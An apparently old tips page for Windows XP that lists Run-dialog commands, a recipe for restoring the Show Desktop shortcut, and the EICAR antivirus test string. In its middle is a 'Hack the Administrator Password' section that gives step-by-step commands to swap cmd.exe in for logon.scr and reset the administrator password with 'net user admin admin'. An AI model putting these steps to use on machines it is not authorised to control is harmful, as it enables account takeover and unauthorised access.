TIPS FOR WINDOWS

Usefull RUN Commands:


  • Accessibility Controls : access.cpl

  • Add Hardware Wizard : hdwwiz.cpl


  • Add/Remove Programs : appwiz.cpl

  • Administrative Tools : control admintools


  • Automatic Updates : wuaucpl.cpl


  • Bluetooth Transfer Wizard : fsquirt


  • Calculator : calc


  • Certificate Manager : certmgr.msc


  • Character Map : charmap


  • Check Disk Utility : chkdsk


  • Clipboard Viewer : clipbrd


  • Command Prompt : cmd


  • Component Services : dcomcnfg


  • Computer Management : compmgmt.msc


  • Date and Time Properties : timedate.cpl


  • DDE Shares : ddeshareDevice Manager : devmgmt.msc


  • Direct X Control Panel (If Installed)* : directx.cpl


  • Direct X Troubleshooter : dxdiag


  • Disk Cleanup Utility : cleanmgr


  • Disk Defragment : dfrg.msc


  • Disk Management : diskmgmt.msc


  • Disk Partition Manager : diskpart


  • Display Properties : control desktop


  • Display Properties : desk.cpl


  • Display Properties (w/Appearance Tab Preselected) : control color


  • Dr. Watson System Troubleshooting Utility : drwtsn32


  • Driver Verifier Utility : verifier


  • Event Viewer : eventvwr.msc


  • File Signature Verification Tool : sigverif


  • Findfast : findfast.cplFolders Properties : control folders


  • Fonts : control fonts Free Cell Card Game : freecell


  • Game Controllers : joy.cpl


  • Group Policy Editor (XP Prof) : gpedit.msc


  • Hearts Card Game : mshearts


  • Iexpress Wizard : iexpress


  • Indexing Service : ciadv.mscInternet

  • Properties : inetcpl.cpl










  • Hack the Administrator Password

    1. Open Dos Prompt.

    2. Do the following steps :
    • cd\ Drops to root
    • cd\windows\system32 Directs to the system32 dir
    • mkdir temphack Creates the folder temphack
    • copy logon.scr temphack\logon.scr Backsup logon.scr
    • copy cmd.exe temphack\cmd.exe Backsup cmd.exe
    • del logon.scr Deletes original logon.scr
    • rename cmd.exe logon.scr Renames cmd.exe to logon.scr
    • exit Quits DOS

    3. Restart the Machine and when the OS loaded it will load the DOS-Prompt

    4. Use the Following Commands.net user admin admin

    5. It will set the system Admin as Username and admin as your new Password with the Admnistrator Rights.

    6. Copy the contents of temphack and back into the system32 directory.

    Accidentally deleted your Show Desktop Icon on the Taskbar ?

    Here is a way to get back t

    he “Show Desktop” shortcut onto the Quick Launch Panel on the Taskbar in Windows XP :

    1). Open up notepad or a text editor.
    2). Copy-Paste the following lines of code into a new file

    [Shell]
    Command=2
    IconFile=explorer.exe,3
    [Taskbar]
    Command=ToggleDesktop
    3). Then, save the file as showdesk.scf and move it to some place like windows folder.
    4). Then, Create a Shortcut to the showdesk.scf file.
    5). Finally, just drag and drop the shortcut into your Quick Launch panel or copy-paste it wherever you want it to be.


    Test your Anti-Virus with Eicar’s fake virus code

    Open Notepad and copy paste the following string and save it (as .exe if your scanner is configured to scan only specific extensions) [It’s Eicar’s AV Test code]


    X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*